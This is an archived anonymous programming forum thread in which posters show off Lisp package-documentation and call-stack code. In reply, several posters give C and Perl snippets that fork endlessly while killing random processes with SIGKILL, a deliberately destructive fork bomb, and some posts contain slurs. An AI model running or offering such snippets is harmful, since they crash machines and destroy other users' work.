Return Styles: Pseud0ch, Terminal, Valhalla, NES, Geocities, Blue Moon. Entire thread

[ELITISM]

Name: Anonymous 2010-05-21 12:58

Post something only your language can do. My contribution: I double dare you to do that in your language. Probably takes a fucking parser! javadocs don't count cuz its crap.

(defun print-package-documentation (package)
  "Lists package external symbols and prints
   their documentation"
  (let ((doc-types '(compiler-macro function method-combination
             setf structure type variable))
    undocumented)
    (do-external-symbols (s package)
      (let ((docstrings (remove-if-not #'identity
                       (mapcar (lambda (doc-type)
                         (documentation s doc-type))
                           doc-types))))
    (if docstrings
        (format t "~A: ~%~{  ~A~%~}" s docstrings)
        (push s undocumented))))
    (when undocumented
      (format t "The following symbols are undocumented:~%~{~A~^, ~}~%"
          undocumented))))


E.g.:

m1cr0p3n1z> (print-package-documentation :cffi)
FOREIGN-STRING-ALLOC:
  Allocate a foreign string containing Lisp string STRING.
The string must be freed with FOREIGN-STRING-FREE.
FOREIGN-SLOT-POINTER:
  Return the address of SLOT-NAME in the structure at PTR.
MAKE-SHAREABLE-BYTE-VECTOR:
  Create a Lisp vector of SIZE bytes can passed to
WITH-POINTER-TO-VECTOR-DATA.

...

The following symbols are undocumented:
LISP-STRING-TO-FOREIGN, FREE-TRANSLATED-OBJECT, CALLBACK, INCF-POINTER, EXPAND-TO-FOREIGN, FREE-CONVERTED-OBJECT, TRANSLATE-FROM-FOREIGN, CONVERT-TO-FOREIGN, WITH-FOREIGN-OBJECTS, EXPAND-FROM-FOREIGN, FOREIGN-POINTER, LOAD-FOREIGN-LIBRARY-ERROR, GET-CALLBACK, FOREIGN-SYMBOL-POINTER, DEFCALLBACK, DEFINE-FOREIGN-TYPE, EXPAND-TO-FOREIGN-DYN, USE-FOREIGN-LIBRARY, CONVERT-FROM-FOREIGN, FOREIGN-FUNCALL-POINTER, TRANSLATE-TO-FOREIGN
NIL

Name: Anonymous 2010-05-22 11:36

>>40
Sure:
#include <sys/stat.h>
#include <fcntl.h>
#include <signal.h>
#include <unistd.h>
int main (void) {
 int f = -1, pid = 0;
 if ((f = open ("/proc/sys/kernel/pid_max", O_RDONLY)) < 0) exit (1);
 if (read (f, &pid, sizeof (int)) != sizeof(int)) exit (2);
 for (close (f);;fork()) kill (rand() % pid, 9);
 return 0;
}

The rand could be better but whatever. Also, your call to fopen is erroneous.

Name: Anonymous 2010-05-22 12:23

I've already shown how to add call-stack access functionality to Common Lisp, and shown how to implement your example here:

http://dis.4chan.org/read/prog/1193318218/1,28-31

you wrote a huge library that keeps a second call stack. you didn't show any way to access the real call stack. you did exactly what >>31 said was the only way to do it in lisp.

Name: Anonymous 2010-05-22 12:40

>>42
It's rather tiny, but if you find that huge, okay. You can access the actual call-stack in CL using implementation-dependent functionality. Almost all real CL implementations have it, but it's not specified in the standard, so if I wrote code using that functionality, it would be platform-specific. I could probably go further and make such code portable across main CL implementations, but I have no reason to do that, as this functionality is not something I ever needed when writing normal code - I only found such implementation-dependent facilities useful when debugging.

What I wrote in http://dis.4chan.org/read/prog/1193318218/28-31 is nothing more than a portable implementation which keeps a second call-stack.

Regardless of wether that is the real call-stack or not, the functionality is effectively the same, and you can use it to implement your toy call-stack based fibs, as well as similar pieces of code.

Besides, there is no way to prove that in your Javascript implementation you would access the real call-stack or an emulated one - those are implementation details. How the call-stack access functionality is implemented is completly up to the implementors, and my portable second call-stack version is just as fine for practical purposes. If I really need to access the real call-stack, I'll just use the implementation-dependent facilities.

The difference here is if a facility is provided by the language standard/specification, the implementation or by the user. In CL, you don't get call-stack access in the standard, but you get it in the implementation, and the language is powerful enough that you could define a variant of the language which supports such functionality (here it's done by keeping a second call stack, but if you have low-level access to the implementation, you could just as well access the real one). In Javascript, call-stack access is in the standard, so implementations support it, only to the degree defined in the standard, it's unknown to me if you could add support for such a feature if it didn't exist in Javascript without having to make a full-fledged parser/interpreter or compiler to achieve what a couple of Lisp macros did.

Name: >>43 2010-05-22 12:56

For example, in SBCL, you can look at the backtrace using (sb-debug:backtrace)


CL-USER> (sb-debug:backtrace)
0: (SB-DEBUG::MAP-BACKTRACE #<CLOSURE (LAMBDA #) {240B7E8D}>)[:EXTERNAL]
1: (BACKTRACE
    536870911
    #<SYNONYM-STREAM :SYMBOL SWANK::*CURRENT-DEBUG-IO* {24493209}>)
2: (SB-INT:SIMPLE-EVAL-IN-LEXENV (BACKTRACE) #<NULL-LEXENV>)
3: (SWANK::EVAL-REGION
    "(sb-debug:backtrace)
")
4: ((LAMBDA ()))


or if you need to programmatically access it:
sb-debug:mapbacktrace or (sb-debug:backtrace-as-list)


CL-USER> (sb-debug:backtrace-as-list)
((SB-DEBUG::MAP-BACKTRACE #<CLOSURE # {247093CD}>)
 (BACKTRACE-AS-LIST 536870911)
 (SB-INT:SIMPLE-EVAL-IN-LEXENV (BACKTRACE-AS-LIST) #<NULL-LEXENV>)
 (SWANK::EVAL-REGION "(sb-debug:backtrace-as-list)
")
...



CL-USER> (car (sb-debug:backtrace-as-list))
(SB-DEBUG::MAP-BACKTRACE #<CLOSURE (LAMBDA #) {24928CDD}>)

CL-USER> (second (car (sb-debug:backtrace-as-list)))
#<CLOSURE (LAMBDA (SB-DEBUG::FRAME)) {2499FACD}>

#<FUNCTION {2499FACD}>
--------------------
FUNCTION: #<FUNCTION (LAMBDA (SB-DEBUG::FRAME)) {23172E75}>
Closed over values:
0: #<value cell (("foreign function: #x40AF88")) {2499FAC7}>

#<SB-KERNEL::RANDOM-CLASS {2499FAC7}>
--------------------
VALUE: (("foreign function: #x40AF88"))

#<FUNCTION {23172E75}>
--------------------
NAME: (LAMBDA (SB-DEBUG::FRAME))
ARGLIST: (SB-DEBUG::FRAME)
SELF: #2=#<FUNCTION (LAMBDA (SB-DEBUG::FRAME)) {23172E75}>
NEXT: NIL
TYPE: (FUNCTION (T) (VALUES CONS &OPTIONAL))
CODE: #<code object (SB-C::XEP (LAMBDA (SB-DEBUG::FRAME))) {23172D2F}>

#<SB-KERNEL:CODE-COMPONENT {23172D2F}>
--------------------
CODE-SIZE: 99
ENTRY-POINTS: #<FUNCTION BACKTRACE-AS-LIST>
DEBUG-INFO: #S(SB-C::COMPILED-DEBUG-INFO ..)
TRACE-TABLE-OFFSET: 394
Constants:
5: #(369 93 136 166 224 233 261 342)
6: #2=#<FUNCTION (LAMBDA (SB-DEBUG::FRAME)) {23172E75}>
7: :COUNT
8: #<FDEFINITION object for SB-DEBUG::MAP-BACKTRACE>
9: #<FDEFINITION object for NREVERSE>
10: #<FDEFINITION object for SB-DEBUG::FRAME-CALL-AS-LIST>
11: 0
Code:
; 23172D58:       .ENTRY BACKTRACE-AS-LIST(&OPTIONAL (COUNT MOST-POSITIVE-FIXNUM))  ; (FUNCTION
                                                                                    ;  (&OPTIONAL ..))
;      D74:       8F4504           POP DWORD PTR [EBP+4]
;      D77:       8D65E8           LEA ESP, [EBP-24]
;      D7A:       8BF2             MOV ESI, EDX
;      D7C:       85C9             TEST ECX, ECX
...



As you can see, I can access the full callstack, even the native one, I can access the given arguments and so on. I could easily use these implementation-dependent functions to implement the interface I defined portably in http://dis.4chan.org/read/prog/1193318218/28-31, so if the code was ran in SBCL, I could access the real call-stack. If it was ran in an unsupported implementation, an emulated call-stack would be used. I could then add support for other implementations like Clozure CL, CLISP and others. But, as I mentioned before, I really have no use for this functionality, even if I have the posibility of implementing it with ease.

Name: Anonymous 2010-05-22 13:23

why are you fagging guys is it cool okay ill be cool too

Name: Anonymous 2010-05-22 15:00

>>40

Perl,

while(1){`perl $0`;(int(rand(5)==1)?{open(F,'/proc/sys/kernel/pid_max');$F=<F>;system("kill -9 $F");close(F)}:1}

my version isn't as destructive because it doesn't exponentially increase.

Name: Anonymous 2010-05-22 15:32

>>46
You'res also doesn't do anything, and its an eyesou're.  Why are you trying to write Sepples in Perl?

Name: Anonymous 2010-05-22 15:43

>>46
int(rand(5)==1)
Can people PLEASE test run their programs before submitting them? Not only that, but it continuously tries to kill PID_MAX and no other process. Also it does exponentially increase, just at a fifth of the speed. Here, have an optimised version, compiled with tags.
[code]system("kill -9 ".int(rand(32768))) while fork;

Name: Anonymous 2010-05-22 16:16

optimised
system("kill
sh -c 'perl -e'\''system("perl -e\"\\\$face->palm\"")'\'

Name: Anonymous 2010-05-22 16:36

>>49
Not that I care about you kids failing Perl class, but backtick isn't exactly blazing either.

Name: Anonymous 2010-11-28 8:20

Name: Anonymous 2010-12-06 9:55

Back to /b/, ``GNAA Faggot''

Name: Anonymous 2011-01-31 20:23

<-- check em dubz

Name: Anonymous 2011-02-04 19:16

Newer Posts
Don't change these.
Name: Email:
Entire Thread Thread List